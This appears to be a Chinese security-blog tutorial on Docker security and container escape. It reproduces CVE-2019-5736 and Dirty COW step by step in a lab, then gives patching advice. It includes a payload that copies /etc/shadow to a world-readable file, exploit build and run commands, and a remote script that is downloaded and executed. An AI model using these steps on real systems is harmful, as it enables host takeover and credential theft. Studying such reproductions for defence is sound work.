干货|渗透测试之Docker逃逸详解

  • A+
所属分类:安全文章

前言

在虚拟化技术日益成熟的今天,Docker作为必须使用的一项服务,它的安全性尤为重要。今天,我们来一起学习Docker最大的安全威胁--逃逸技术。

Docker是什么

Docker 是一个开源的应用容器引擎,基于 Go 语言 并遵从 Apache2.0 协议开源。

Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。

容器是完全使用沙箱机制,相互之间不会有任何接口(类似 iPhone 的 app),更重要的是容器性能开销极低。

最早的时候 docker 就是一个开源项目,主要由 docker 公司维护.

  • 2017年年初,docker 公司将原先的 docker 项目改名为 moby,并创建了 docker-ce 和 docker-ee.
  • docker-ce 是社区版本,适用于刚刚开始 docker 和开发基于 docker 研发的应用开发者或者小型团队.
  • docker-ee 是企业版,适用于企业级开发,同样也适用于开发、分发和运行商务级别的应用的 IT 团队.
  • docker-io, docker-engin 是以前早期的版本.

Docker安全性

在传统虚拟化技术架构中,Hypervisor 虚拟机监视器是虚拟机资源的管理与调度模块。而在容器架构中,由于不含有 Hypervisor 层,因此需要依靠操作系统内核层面的相关机制对容器进行安全的资源管理。

容器虚拟化安全

在资源隔离方面,与采用虚拟化技术实现操作系统内核级隔离不同,Docker 通过 Linux 内核的 Namespace 机制实现容器与宿主机之间、容器与容器之间资源的相对独立。通过为各运行容器创建自己的命名空间,保证了容器中进程的运行不会影响到其他容器或宿主机中的进程。

但是,CGroups 未实现对磁盘存储资源的限制。若宿主机中的某个容器耗尽了宿主机的所有存储空间,那么宿主机中的其他容器无法再进行数据写入。Docker 提供的 --storage-opt=[] 磁盘限额仅支持 Device Mapper 文件系统,而 Linux 系统本身采用的磁盘限额机制是基于用户和文件系统的 quota 技术,难以针对 Docker 容器实现基于进程或目录的磁盘限额。因此,可考虑采用以下方法实现容器的磁盘存储限制:

  • 为每个容器创建单独用户,限制每个用户的磁盘使用量;
  • 选择 XFS 等支持针对目录进行磁盘使用量限制的文件系统;
  • 为每个容器创建单独的虚拟文件系统,具体步骤为创建固定大小的磁盘文件,并从该磁盘文件创建虚拟文件系统,然后将该虚拟文件系统挂载到指定的容器目录。此外,在默认情况下,容器可以使用主机上的所有内存。可以使用内存限制机制来防止一个容器消耗所有主机资源的拒绝服务攻击,具体可使用使用 -m 或 -memory 参数运行容器。

Seccomp(Secure Computing Mode)是 Linux 内核提供的安全特性,可实现应用程序的沙盒机制构建,以白名单或黑名单的方式限制进程能够进行的系统调用范围。

在 Docker 中,可通过为每个容器编写 json 格式的 seccomp profile 实现对容器中进程系统调用的限制。

容器安全管理

Docker 的内容信任(Content Trust)机制可保护镜像在镜像仓库与用户之间传输过程中的完整性。目前,Docker 的内容信任机制默认关闭,需要手动开启。内容信任机制启用后,镜像发布者可对镜像进行签名,而镜像使用者可以对镜像签名进行验证。

为了保证容器运行的安全性,在从公共镜像仓库获取镜像时需要对镜像进行安全检查,防止存在安全隐患甚至恶意漏洞的镜像运行,从源头端预防安全事故的发生。镜像漏洞扫描工具是一类常用的镜像安全检查辅助工具,可检测出容器镜像中含有的 CVE 漏洞。

针对 Docker 镜像的漏洞扫描,目前已经有许多相关工具与解决方案,包括 Docker Security Scanning、Clair、Anchore、Trivy、Aqua 等等。

容器网络安全

由于 Docker 容器默认的网桥模式不会对网络流量进行控制和限制,为了防止潜在的网络 DoS 攻击风险,需要根据实际需求对网络流量进行相应的配置。

在存在多租户的容器云环境中,可能存在单个容器占用大量宿主机物理网卡抢占其他容器带宽的情况。为了保证容器之间的正常通信,同时避免异常流量造成网络 DoS 攻击等后果,需要对容器之间的通信流量进行一定的限制。

由于 Docker 通过创建虚拟网卡对(eth0 和 veth*)将容器与虚拟网桥 docker0 连接,而容器之间的通信需要经由虚拟网卡对 eth0 和 veth* 通过网桥连接,因此,可采用 Linux 的流量控制模块 traffic controller 对容器网络进行流量限制。

逃逸复现

接下来,我们以 Docker 18.06.0-ce 版本为例,进行几个逃逸漏洞的复现。

CVE-2019-5736

Docker、containerd 或者其他基于 runc 的容器在运行时存在安全漏洞,runC 是用于创建和运行 Docker 容器的 CLI 工具,runC 18.09.2版本前的 Docker 允许恶意容器覆盖宿主机上的 runC 二进制文件。攻击者可以通过特定的容器镜像或者 exec 操作获取到宿主机 runc 执行时的文件句柄并修改掉 runc 的二进制文件,从而获取到宿主机的 root 执行权限。

修改 runC 版本

默认 runC 版本是无法复现该漏洞的,需要手动修改

wget https://github.com/opencontainers/runc/releases/download/v1.0.0-rc6/runc.amd64
mv runc.amd64 /usr/bin/runc
chmod +x /usr/bin/runc
runc --version

安装 docker

wget https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/
chmod +x index.html
./index.html
docker --version

使用安装完毕后,可能会自动进入 docker 容器,这里不管,直接重启机器

启动容器

等待机器重启完毕,这里启动 docker 服务,然后进入 docker 容器

sudo systemctl start docker
docker run -it ubuntu:18.04 "/bin/bash"

再启一个 bash,同时这个窗口不要关闭,看一下 docker 容器的 ID

docker ps

下载 payload

  • https://github.com/Frichetten/CVE-2019-5736-PoC下载的 main.go,修改下 package,改成
package main
var payload = "#!/bin/bash n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"

然后 windows 下需配置编译参数,linux 可直接编译

CGO_ENABLED=0;GOOS=linux;GOARCH=amd64
go build main.go

把编译出来的二进制文件 main,上传至目标机器.

使用 payload

这里将 main 复制到容器的 /home 目录下,id 值就是之前 docker ps 看到的值

docker cp main xxxxxxxxx:/home

回到一开始的窗口,现在进入 home 目录,就可以看到上传上来的 main 文件了,加权限,运行

cd /home
ls
chmod +x main
./main

这里再返回到第二个窗口,这个窗口刚上传 main 文件,现在在这个窗口里进入容器,触发 payload,id 值就是之前 docker ps 看到的值

docker exec -it xxxxxxxxx /bin/sh
exit
cd /tmp/
ls

可以看到,宿主机下tmp写了shadow文件,payload成功执行

Dirty COW(CVE-2016-5195)

使用账号user,密码为123456的账户进行登录

因为此时还是user用户,我们需要切换到root用户来进行Docker

sudo su root   //切换到root用户
123456 //当前用户密码

现在已经切换到root用户,接下来我们运行命令来启动Docker:

docker images   //列出本地的镜像
docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash //使用本地1234端口连接docker的1234端口运行dirtycow镜像,并将其临时命名为test
docker exec -it test /bin/bash
cd /dirtycow-vdso/ //进入dirtycow-vdso文件夹
make //使用make命令编译.c文件
./0xdeadbeef //运行0xdeadbeef 文件

当看到successfully的字样,就代表我们成功了 现在宿主机的桌面创建一个文件,如果可以创建,则表明逃逸成功。

cd /home      //进入到home文件夹
ls //查看都有何文件
touch test // 创建文test

成功创建现在退出Docker

exit       //退出POC
exit //退出Docker
cd /home //进入home目录
ls -l //查看当前文件所属

修复方案

  • 更新 Docker 版本到 19.03.1 及更高版本 —— CVE-2019-14271、覆盖 CVE-2019-5736
  • 更新 runc 版本 > 1.0-rc6
  • 更新 k8s 集群版本>1.12
  • 更新 Linux 内核版本>=2.6.22——CVE-2016-5195(脏牛)
  • 更新 Linux 内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到 docker 逃逸利用过程,但存在逃逸风险
  • 不建议以 root 权限运行 Docker 服务
  • 不建议以 privileged(特权模式)启动 Docker
  • 不建议将宿主机目录挂载至容器目录
  • 不建议将容器以 —cap-add=SYSADMIN 启动,SYSADMIN 意为 container 进程允许执行 mount、umount 等一系列系统管理操作,存在容器逃逸风险。

总结

本文我们介绍了Docker安全性的几大特点,并以CVE-2016-5195、CVE-2019-5736作为例子进行模拟复现,成功从Docker容器中逃逸,控制宿主机。Docker逃逸漏洞的危害非常大,但修复起来非常容易。因此,及时升级Docker和系统版本,严格控制启动参数,基本上可以万无一失。

作者:江苏智慧安全可信技术研究院



关注公众号:HACK之道

如文章对你有帮助,请支持点下“赞”“在看”

本文始发于微信公众号(HACK之道):干货|渗透测试之Docker逃逸详解

发表评论